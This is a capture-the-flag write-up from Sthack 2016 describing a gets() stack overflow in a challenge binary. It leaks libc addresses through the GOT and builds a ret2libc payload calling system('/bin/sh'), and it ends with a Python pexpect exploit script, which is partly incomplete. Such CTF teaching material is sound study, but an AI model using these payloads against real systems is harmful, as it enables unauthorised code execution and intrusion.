Outils pour utilisateurs

Outils du site


PokéNaxtos - Writeup by palkeo


We have an exploitable binary.

We also have a SSH server that we can connect to, but it doesn't give us a shell, just an interface to that binary.

However, we also have some information when we connect to it :

Ubuntu 14.04.3 LTS
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.13.0-74-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Fri Apr  8 21:49:11 UTC 2016

  System load:  0.11              Processes:           105
  Usage of /:   14.1% of 7.74GB   Users logged in:     2
  Memory usage: 11%               IP address for eth0:
  Swap usage:   0%

  Graph this data and manage this system at:

  Get cloud support with Ubuntu Advantage Cloud Guest:

68 packages can be updated.
41 updates are security updates.

Last login: Fri Apr  8 21:48:39 2016 from ip-172-31-13-71.eu-west-1.compute.internal
|  1) Consulter la map        |
|  2) Consulter les pokémons  |
|  3) Apeller Maman           |



After some time, it is clear that we can't do much, and we have to exploit the program.

It gives us a small menu, with three choices. All are basically doing a printf() and nothing else.

When disassembling the main(), we have an interesting part:

It's basically a switch over our three choices. Plus another hidden choice when we enter the number 41.

When we enter that number, we are asked another password:

No obfuscation whatsoever. The password is pik4_p455.

When we enter it, we are asked again for a "cheat code". It is read, then nothing happens and we are back to the main menu :

|  1) Consulter la map        |
|  2) Consulter les pokémons  |
|  3) Apeller Maman           |
41____________ Cheat ___________
|                             |
|  Enter password :           |
Ooooh Secret Place !Enter cheat code :hello
Cheat Activated !
|  1) Consulter la map        |
|  2) Consulter les pokémons  |
|  3) Apeller Maman           |

Here is the function, named secret_place(), that do that:

We can see it's doing a gets(), reading value of arbitrary length to the stack. We try to enter a long cheat code ('A'*255), and it crashes.

We now know we will have to exploit:

  • a stack overflow
  • without 0x0a byte inside our payload
  • the location of the executable is constant in memory (it is not a PIE)
  • the location of the libraries is likely to change because of the ASLR
  • we can't execute the stack (NX bit set)

Let's craft !

I then started frantically searching for gadgets in the executable. It took me some time to take a step back and realize that:

  • because the only functions that are imported are IO functions (gets, puts…), and the code doesn't do any system call, I have no way to interact with the OS using the program's code.
  • however, I can easily craft a stack to call gets and puts with arbitrary arguments. I can easily read and write anywhere in memory.

So, because the libc is present in memory, I'm now pretty sure that I would need to call some code that's inside of it. But I don't know its address.

To solve that, I can read the GOT (global offset table), that contains the address of the IO functions from the libc. I can easily see that it starts at offset 0x804A00C, so I can call puts with that address as a parameter and it will dump the addresses of the imported functions in the libc.

If I manage to find which exact libc binary they use, I will be able to calculate the difference between these known functions and interesting ones like system(): then I can craft a payload that can call such a function.

I am now able to make a payload that leaks addresses of functions inside the libc. I can even chain that call to puts with a call to main, so that the program won't even crash, and I would be able to use that information to craft a second payload calling any function in the libc :)

At that point, I should have taken yet another step back, and leaked the GOT multiple times. I would have seen that the addresses of the functions in the libc is always the same, so in the end there is no ASLR. However, I have not noticed that so I my exploit always leak these addresses first, so it will work fine even with ASLR.

I have nearly all I need. I also need the address of a "/bin/sh" string, but there is one in libc, so I can use the same trick to calculate its exact address.

Hunting libc

One last thing I needed was to find the libc binary used in the virtual machine.

Because the machine says it is in 64 bits and the binary is 32 bits, I know it is in the libc-i386 Ubuntu package, and I know the Ubuntu version. But still, there are multiple possible versions because of the security updates.

I crafted a payload that would do a puts() of the address of the /bin/sh string in the libc (the difference between that string and a function like puts being calculated using my reference libc).

This page references the package for the right Ubuntu's version, so I could see the history of versions for that package. We can see that there was an update in early 2015 and another in early 2016.

I took as my reference libc the one from 2015 (the system seemed unmaintained), executed my payload, and got garbage. I tried again with the libc from 2016, and it worked : I got /bin/sh in stdout !

Which means that I was able to calculate the address for anything I want in the target's libc \o/

Final exploit

import pexpect
import struct
import sys
def escape(msg):
    return b''.join(bytes([0x16, c]) for c in msg)
prod = True
if prod:
    child = pexpect.spawn('ssh sthack@pokenaxtos.sthack.fr', timeout=None)
    child = pexpect.spawn('./binary', timeout=None)
if prod:
def menu():
    child.expect('.*cheat code :')
buf = b'A'*112
buf += struct.pack('I', 0x8048490) # puts() address
buf += struct.pack('I', 0x08048739) # main() address
buf += struct.pack('I', 0x0804A00C) # argument for puts: address of the GOT
buf += b'B'*32
child.expect('Cheat Activated !\r\n(.+)\r\n')
addr = child.match.group(1)
addresses = struct.unpack('I'*10, addr[:40])
print(' '.join(hex(i) for i in addresses))
fflush = addresses[2]
# Addresses of some interesting function/data in the target's libc
ref_fflush = 0x62e30
ref_system = 0x3Fcd0
ref_bin_sh = 0x15da84
# From that, we calculate the addresses of system and '/bin/sh' in the target's memory
system = ref_system + (fflush - ref_fflush)
bin_sh = ref_bin_sh + (fflush - ref_fflush)
print('set system at %s' % hex(system))
print('set /bin/sh at %s' % hex(bin_sh))
buf = b'A'*(112)
buf += struct.pack('I', system)
buf += b'C'*4 # second return address: we don't care.
buf += struct.pack('I', bin_sh) # argument of system
buf += b'B'*32


I also had some fun creating a way to call system with any arbitrary string.

To do that, you just need to find a segment in the target libc that is readable and writable (it contains global variables, I suppose).

Then, you just call gets() with the calculated address of that segment. You just loaded an arbitrary string to a known address !

You can now reuse it as a system() argement, and directly execute arbitrary commands :)


Korantin Auguste (Palkeo) 2016/04/09 16:30

ctf/public/sthack2016/pokenaxtos.txt · Dernière modification: 2016/10/15 20:04 par arthaum